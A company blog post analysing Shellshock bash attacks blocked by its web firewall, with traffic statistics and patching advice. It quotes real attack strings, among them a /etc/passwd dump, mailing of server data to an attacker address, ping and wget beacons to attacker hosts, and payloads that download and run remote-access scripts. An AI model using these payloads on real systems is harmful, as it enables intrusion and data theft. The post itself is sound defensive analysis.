Inside Shellshock: How hackers are using it to exploit systems

On Wednesday of last week, details of the Shellshock bash bug emerged. This bug started a scramble to patch computers, servers, routers, firewalls, and other computing appliances using vulnerable versions of bash.

CloudFlare immediately rolled out protection for Pro, Business, and Enterprise customers through our Web Application Firewall. On Sunday, after studying the extent of the problem, and looking at logs of attacks stopped by our WAF, we decided to roll out protection for our Free plan customers as well.

Since then we've been monitoring attacks we've stopped in order to understand what they look like, and where they come from. Based on our observations, it's clear that hackers are exploiting Shellshock worldwide.

(CC BY 2.0 aussiegall)

The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Typically, ACE vulnerability attacks are executed on programs that are running, and require a highly sophisticated understanding of the internals of code execution, memory layout, and assembly language—in short, this type of attack requires an expert.

Attacker will also use an ACE vulnerability to upload or run a program that gives them a simple way of controlling the targeted machine. This is often achieved by running a "shell". A shell is a command-line where commands can be entered and executed.

The Shellshock vulnerability is a major problem because it removes the need for specialized knowledge, and provides a simple (unfortunately, very simple) way of taking control of another computer (such as a web server) and making it run code.

Suppose for a moment that you wanted to attack a web server and make its CD or DVD drive slide open. There's actually a command on Linux that will do that: /bin/eject. If a web server is vulnerable to Shellshock you could attack it by adding the magic string () { :; }; to /bin/eject and then sending that string to the target computer over HTTP. Normally, the User-Agent string would identify the type of browser you are using, but, in in the case of the Shellshock vulnerability, it can be set to say anything.

For example, if example.com was vulnerable then

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

would be enough to actually make the CD or DVD drive eject.

In monitoring the Shellshock attacks we've blocked, we've actually seen someone attempting precisely that attack. So, if you run a web server and suddenly find an ejected DVD it might be an indication that your machine is vulnerable to Shellshock.

When a web server receives a request for a page there are three parts of the request that can be susceptible to the Shellshock attack: the request URL, the headers that are sent along with the URL, and what are known as "arguments" (when you enter your name and address on a web site it will typically be sent as arguments in the request).

For example, here's an actual HTTP request that retrieves the CloudFlare homepage:

GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.com

In this case the URL is / (the main page) and the headers are Accept-Encoding, Accept-Language, etc. These headers provide the web server with information about the capabilities of my web browser, my preferred language, the web site I'm looking for, and what browser I am using.

It's not uncommon for these to be turned into variables inside a web server so that the web server can examine them. (The web server might want to know what my preferred language is so it can decide how to respond to me).

For example, inside the web server responding to the request for the CloudFlare home page it's possible that the following variables are defined by copying the request headers character by character.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
HTTP_CACHE_CONTROL=no-cache
HTTP_PRAGMA=no-cache
HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
HTTP_HOST=cloudflare.com

As long as those variables remain inside the web server software, and aren't passed to other programs running on the web server, the server is not vulnerable.

Shellshock occurs when the variables are passed into the shell called "bash". Bash is a common shell used on Linux systems. Web servers quite often need to run other programs to respond to a request, and it's common that these variables are passed into bash or another shell.

The Shellshock problem specifically occurs when an attacker modifies the origin HTTP request to contain the magic () { :; }; string discussed above.

Suppose the attacker change the User-Agent header above from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 to simply () { :; }; /bin/eject. This creates the following variable inside a web server:

HTTP_USER_AGENT=() { :; }; /bin/eject

If that variable gets passed into bash by the web server, the Shellshock problem occurs. This is because bash has special rules for handling a variable starting with () { :; };. Rather than treating the variable HTTP_USER_AGENT as a sequence of characters with no special meaning, bash will interpret it as a command that needs to be executed (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.)

The problem is that HTTP_USER_AGENT came from the User-Agent header which is something an attacker controls because it comes into the web server in an HTTP request. And that's a recipe for disaster because an attacker can make a vulnerable server run any command it wants (see examples below).

The solution is to upgrade bash to a version that doesn't interpret () { :; }; in a special way.

When we rolled out protection for all customers we put in place a metric that allowed us to monitor the number of Shellshock attacks attempted. They all received an HTTP 403 Forbidden error code, but we kept a log of when they occurred and basic information about the attack.

This chart shows the number of attacks per second across the CloudFlare network since rolling out protection for all customers.

From the moment CloudFlare turned on our Shellshock protection up until early this morning, we were seeing 10 to 15 attacks per second. In order of attack volume, these requests were coming from France (80%), US (7%), Netherlands (7%), and then smaller volumes from many other countries.

At about 0100 Pacific (1000 in Paris) the attacks from France ceased. We are currently seeing around 5 attacks per second. At the time of writing, we've blocked well over 1.1m Shellshock attacks.

Since its so easy to attack vulnerable machines with Shellshock, and because a vulnerable machine will run any command sent to it, attackers have let their imaginations run wild with ways to manipulate computers remotely.

CloudFlare’s WAF logs the reason it blocked a request allowing us to extract and analyze the actual Shellshock strings being used. Shellshock is being used primarily for reconnaissance: to extract private information, and to allow attackers to gain control of servers.

Most of the Shellshock commands are being injected using the HTTP User-Agent and Referer headers, but attackers are also using GET and POST arguments and other random HTTP headers.

To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:

() {:;}; /bin/cat /etc/passwd

That reads the password file /etc/passwd, and adds it to the response from the web server. So an attacker injecting this code through the Shellshock vulnerability would see the password file dumped out onto their screen as part of the web page returned.

In one attack they simply email private files to themselves. To get data out via email, attackers are using the mail command like this:

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' xxxxxxxxxxxxxxxx@gmail.com

That command first runs whoami to find out the name of the user running the web server. That's especially useful because if the web server is being run as root (the superuser who can do anything) then the server will be a particularly rich target.

It then sends the user name along with the name of the web site being attacked (example.com above) via email. The name of the website appears in the email subject line.

At their leisure, the attacker can log into their email and find out which sites were vulnerable. The same email technique can be used to extract data like the password file.

(CC BY 2.0 JD Hancock)

By far the most popular attack we've seen (around 83% of all attacks) is called “reconnaissance”. In reconnaissance attacks, the attacker sends a command that will send a message to a third-party machine. The third-party machine will then compile a list of all the vulnerable machines that have contacted it.

In the past, we've seen lists of compromised machines being turned into botnets for DDoS, spam, or other purposes.

A popular reconnaissance technique uses the ping command to get a vulnerable machine to send a single packet (called a ping) to a third-party server that the attacker controls. The attack string looks like this:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

The ping command is normally used to test whether a machine is “alive” or online (an alive machine responds with its own ping). If a web server is vulnerable to Shellshock then it will send a single ping packet (the -c 1) to attacker-machine.com with a payload set by the -p. The payload is a unique ID created by the attacker so they can trace the ping back to the vulnerable web site.

Another technique being used to identify vulnerable servers is to make the web server download a web page from an attacker-controlled machine. The attacker can then look in their web server logs to find out which machine was vulnerable. This attack works by sending a Shellshock string like:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

The attacker looks in the web server log of attacker-controlled.com for entries. The page downloaded is set up by the attacker to be reveal the name of the site being attacked. The ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a code indicating that the attacked site was example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a base64 encoded string. When it is decoded it reads:

example.comShellShockSalt

From this string the attacker can find out if their attack on example.com was successful, and, if so, they can then go back later to further exploit that site. While I've substituted out the domain that was the target, we are seeing real examples in the wild actually using ShellShockSalt as the salt in the hash.

Another Shellshock attack uses this string

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

It attempts to run the sleep command in three different ways (since systems have slightly different configurations, sleep might be found in the directories /bin or /sbin or /usr/bin). Whichever sleep it runs, it causes the server to wait 20 seconds before replying . That will consume resources on the machine because a thread or process executing the sleep will do nothing else for 20 seconds.

This is perhaps the simplest denial-of-service of all. The attackers simply tells the machine to sleep for a while. Send enough of those commands, and the machine could be tied up doing nothing and unable to service legitimate requests.

(CC BY 2.0 peter castleton)

Around 8% of the attacks we've seen so far have been aimed at directly taking control of a server. Remote control attacks look like this:

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

This command tries to use two programs (wget and curl) to downloaded a program from a server that the attacker controls. The program is written in the Perl language, and once downloaded it is immediately run. This program sets up remote access for an attacker to the vulnerable web server.

Another attack uses the Python language to set up a program that can be used to remotely run any command on the vulnerable machine:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

The cl.py program downloaded is made to look like an update to the ClamAV antivirus program. After a delay of 5 seconds, the attack cleans up after itself by removing the downloaded file (leaving it running only in memory).

(CC BY 2.0 Jeff Taylor)

Looking at the web sites being attacked, and the URLs being requested, it's possible to make an educated guess at the specific web applications being attacked.

The top URLs we've seen attacked are: / (23.00%), /cgi-bin-sdb/printenv (15.12%), /cgi-mod/index.cgi (14.93%), /cgi-sys/entropysearch.cgi (15.20%) and /cgi-sys/defaultwebpage.cgi (14.59%). Some of these URLs are used by popular web applications and even a hardware appliance.

It appears that 23% of the attacks are directed against the cPanel web hosting control software, 15% against old Apache installations, and 15% against the Barracuda hardware products which have a web-based interface.

The latter is interesting because it highlights the fact that Shellshock isn't just an attack on web sites: it's an attack on anything that's running bash and accessible across the Internet. That could include hardware devices, set-top boxes, laptop computers, even, perhaps, telephones.